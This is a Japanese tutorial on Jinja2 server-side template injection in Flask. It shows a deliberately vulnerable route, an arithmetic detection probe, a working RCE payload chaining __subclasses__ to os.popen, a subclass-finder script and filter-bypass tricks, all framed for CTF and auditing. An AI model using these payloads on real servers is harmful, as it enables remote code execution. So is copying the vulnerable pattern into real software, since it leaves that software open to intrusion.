Python Flask における Jinja2 SSTI 脆弱性の機構と攻撃手法
Web セキュリティの競技領域や実務审计において、Python 製の Web アプリケーション、特に Flask フレームワークで Jinja2 テンプレートエンジンを使用する際、サーバーサイドテンプレートインジェクション(SSTI)のリスクが存在します。本稿では、この脆弱性の発生要因から検出方法、悪用手法、そして回避策までを技術的な観点から解説します。
0x01 脆弱性の発生要因
テンプレートエンジンにおいて、ユーザーからの入力データが適切にサニタイズされずに模板文字列へ直接結合され、その後レンダリング処理が行われる場合に脆弱性が発生します。以下のコード例は、危険な実装パターンを示しています。
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/welcome')
def greet_user():
user_input = request.args.get('query')
# ユーザー入力が直接模板に埋め込まれている
template_source = '<html><h1>Welcome, %s</h1></html>' % user_input
return render_template_string(template_source)
一方で、以下のように入力データを模板ファイルへ変数として渡す実装であれば、模板構文として解釈されないため安全です。
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/safe')
def safe_greet():
user_input = request.args.get('query')
# 模板ファイル内で変数として処理される
return render_template('view.html', username=user_input)
0x02 脆弱性の特徴と検出
SSTI が発生する環境には、以下のような共通の特徴が見られます。
render_template_string関数を使用しており、かつ引数にユーザー制御可能な文字列拼接が含まれている。- 入力値に対するフィルタリングが不十分、または存在しない。
- 模板構文デリミタ(
{{ }}や{% %})がそのまま評価される。
簡易的な検出 PoC として、算術演算を投入し、結果が計算されて返却されるかを確認します。例えば {{12*12}} を入力し、レスポンスに 144 が含まれていれば SSTI の可能性があります。
0x03 攻撃手法
脆弱性が確認できた場合、主に XSS(クロスサイトスクリプティング)または RCE(リモートコード実行)へと発展させることができます。
XSS への発展
模板内でユーザー入力がエスケープされずに出力される場合、標準的な XSS ペイロードがそのまま機能します。SSTI が存在する環境では、模板構文を用いてより強力な攻撃が可能となるため、XSS はより深刻な脆弱性の前兆と捉えることができます。
RCE への発展
Python オブジェクトの内部構造を辿ることで、サーバー上で任意のコードを実行することが可能です。基本的な思路は、汎用的なオブジェクトから基底クラス object を経由し、危険なサブクラス(例:os モジュールを含むクラス)へアクセスすることです。
具体的には、文字列オブジェクトなどの既存インスタンスから __class__、__mro__、__subclasses__ などの特殊属性を連鎖的に呼び出します。
{{ ''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['os'].popen('id').read() }}
環境によってサブクラスのインデックス番号は変動するため、事前に有用なクラスの位置特定が必要です。以下のスクリプトは、サブクラス一覧から危険なクラスを探す際に有用です。
import re
# 取得したサブクラス一覧をここに貼り付け
subclass_dump = r'''[<class 'type'>, <class 'weakref'>, ...]'''
# 注目すべきクラスリスト
target_classes = [
'os._wrap_close',
'subprocess.Popen',
'warnings.catch_warnings',
'linecache'
]
pattern = re.compile(r"'(.*?)'")
found_classes = re.findall(pattern, subclass_dump)
for cls in found_classes:
for target in target_classes:
if target in cls:
print(f"Index: {found_classes.index(cls)} - {cls}")
また、アプリケーション内で既にインポートされている危険なオブジェクトが存在する場合、基底クラスへの到達 없이 そのオブジェクトを直接利用できるケースもあります。これはサンドボックス環境などで object へのアクセスが制限されている場合に有効な手法です。
0x04 防御機構の回避
特定の文字や構文がフィルタリングされている場合、以下の手法を用いてペイロードを構築できます。
- 属性アクセスの代替:
.がフィルタされている場合、[]演算子やgetattr関数、あるいは__getitem__メソッドを利用します。
例:object['attribute']またはobject|attr('attribute') - 文字列の分割: 危険な文字列がフィルタされている場合、文字列結合を用いて回避します。
例:"__cla" + "ss__" - 構文の置換:
{{ }}がフィルタされている場合、文ブロックである{% %}が利用可能か確認します。 - パラメータの外部化: ペイロードの一部を GET パラメータに渡し、模板内では
request.argsを経由して参照します。
例:?cmd=id&payload={{request.args.cmd|attr(os)}}... - 文字コード変換:
chr()関数などを用いて、フィルタ対象文字を動的に生成します。
なお、{ や } 自体が完全にブロックされている場合、または厳格なサンドボックス環境下では、模板インジェクション自体が不可能となるため、設定情報の漏洩({{config}})などに限定される可能性があります。
0x05 実践例
以下の CTF 問題では、本稿で解説した手法が適用可能です。
- 【XYCTF 2024】我是一个复读机
- 【R3CTF 2024】jinjaclub